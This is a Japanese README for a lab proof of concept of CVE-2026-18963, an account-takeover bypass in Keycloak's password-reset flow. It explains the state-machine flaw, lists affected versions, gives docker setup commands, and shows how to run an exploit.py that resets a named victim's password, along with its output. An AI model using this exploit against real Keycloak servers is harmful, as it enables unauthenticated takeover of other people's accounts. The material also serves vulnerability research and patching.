
CVE-2026-18963 の概念実証エクスプロイトで、Web アプリケーションの認証情報リセットフローをバイパスして未認証のアカウント乗っ取りを実証します。
★ CVE-2026-18963 Keycloak リセット認証情報フローバイパス PoC ★
https://github.com/user-attachments/assets/ebed1e64-a40c-4333-be18-9acbadd655b0
CVE-2026-18963 は、Keycloak の
keycloak-servicesコンポーネントにおける重大な未認証アカウント乗っ取り脆弱性です(CVSS 9.1)。 リセット認証情報の認証ステートマシンにおける欠陥により、リモートの攻撃者がメール検証ステップをバイパスし、リセットリンクを所持することなくパスワード更新フォームに到達できるようになります。 既知のユーザー名を標的にすることで、攻撃者は認証やユーザーの操作なしに新しいパスワードを設定し、被害者のアカウントを制御できます。
この脆弱なフローでは、認証情報セレクターの状態を、セレクターを表示した実行に紐付けるのではなく、セッション全体の認証ノートとして保存します。そのため、リセットフローに再び入ると、別の実行に対して古いセレクター状態を再利用できてしまいます。影響を受けるバージョンでは、リセットメール認証器も、有効なメールアクショントークンを経由して到達したことを確認せずにアクションを受け入れます。これらの挙動を連鎖させることで、攻撃者は直接 UPDATE_PASSWORD に進むことができます。
| カテゴリ | バージョン |
|---|---|
| 脆弱 | Keycloak 26.0.0 ≤ version < 26.4.15 |
| 脆弱 | Keycloak 26.5.0 ≤ version < 26.6.6 |
| 脆弱 | Keycloak 26.7.0 ≤ version < 26.7.2 |
| 修正済み | 26.4.15、26.6.6、26.7.2(各リリースブランチ) |
このラボでは Keycloak 26.7.1 を使用します。
脆弱な Keycloak 26.7.1 環境をビルドして実行します。このイメージは、脆弱なリセット認証情報フローが有効化されたテストレルム、シード済みの victim アカウント、および保護されたフラグページを持つ EQST ポータルをインポートします。
docker build -t cve-2026-18963 .
docker run --rm -d \
--name cve-2026-18963 \
-p 9105:9105 \
-e PORTAL_PUBLIC_URL=http://127.0.0.1:9105 \
cve-2026-18963
Keycloak が起動するのを待ってから、ポータルを開きます:
http://127.0.0.1:9105
| 前提条件 | このラボでの状態 |
|---|---|
| Keycloak | 26.7.1(脆弱) |
| レルム | cve-lab |
| パスワードをお忘れですか | 有効 |
| 対象アカウント | victim |
| Keycloak ベース URL | http://127.0.0.1:9105/keycloak |
同梱の exploit.py は、リセットフローの状態操作を自動化し、メールアクショントークンを消費せずにパスワード更新フォームを要求し、被害者のパスワードを変更し、新しい認証情報でアクセストークンを要求することで乗っ取りを検証します。
Python の依存関係をインストールします:
python3 -m pip install requests
Keycloak の URL、被害者のユーザー名、新しいパスワードを指定してエクスプロイトを実行します:
# python3 exploit.py <keycloak-url> <victim> <new-password>
python3 exploit.py \
http://127.0.0.1:9105/keycloak \
victim \
'NewPassword1!'
実行に成功すると、次のように出力されます:
[*] selector note set via tryAnotherWay
[*] victim submitted: victim
[*] update-password form served without an action token
[+] VULNERABLE - victim password is now 'NewPassword1!'
http://127.0.0.1:9105 を開き、LOGIN をクリックして、新しいパスワードで victim として認証し、アカウント乗っ取りを確認します。